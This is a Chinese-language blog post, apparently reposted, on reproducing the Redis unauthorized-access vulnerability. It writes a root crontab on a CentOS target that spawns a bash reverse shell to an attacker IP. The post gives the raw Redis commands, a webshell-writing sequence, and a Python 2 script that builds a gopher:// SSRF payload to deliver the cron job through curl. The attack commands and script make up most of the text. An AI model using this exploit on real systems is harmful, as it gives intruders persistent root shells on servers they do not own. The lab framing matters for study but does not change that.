3. redis未授權漏洞復現(寫入linux計划任務反彈shell)


 

前提:

  1.靶機是Centos環境

  2.redis低版本,具體低於多少不清楚

 ——————主要幾個命令操作——————

  flushall             //清空所有key值
  config get dir          //獲取路徑
  config set dir /**/**/       //設置路徑
  set xxx '\n\n一句話木馬\n\n'   //設置xxx值為一句話木馬
  config set dbfilename 111.jsp /  /設置文件名
  save                //將xxx默認寫入到111.jsp

方式一:直接用進入redis寫入計划任務(失敗,未成功反彈shell,失敗原因:未知,到靶機系統查看文件也成功寫入了,但是和下面使用腳本寫的就是格式上有點不一樣)

  1.set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1\n\n'

  2.config set dir /var/spool/cron/
  3.config set dbfilename root
  4.save

  

 

 方式二:使用腳本寫入(原理和上面同理,成功率高)

  ip是目標系統的,server_ip是接收shell的

import urllib
protocol="gopher://"
ip='192.168.43.144'
port='6379'
reverse_ip="192.168.43.183"
reverse_port="4444"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
     "set 1 {}".format(cron.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
"save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

  1.改好腳本后運行:python2 redis.py

  

 

   2.curl命令執行

  

 

   3.監聽成功

  

 

 

  

 

參考鏈接:

https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM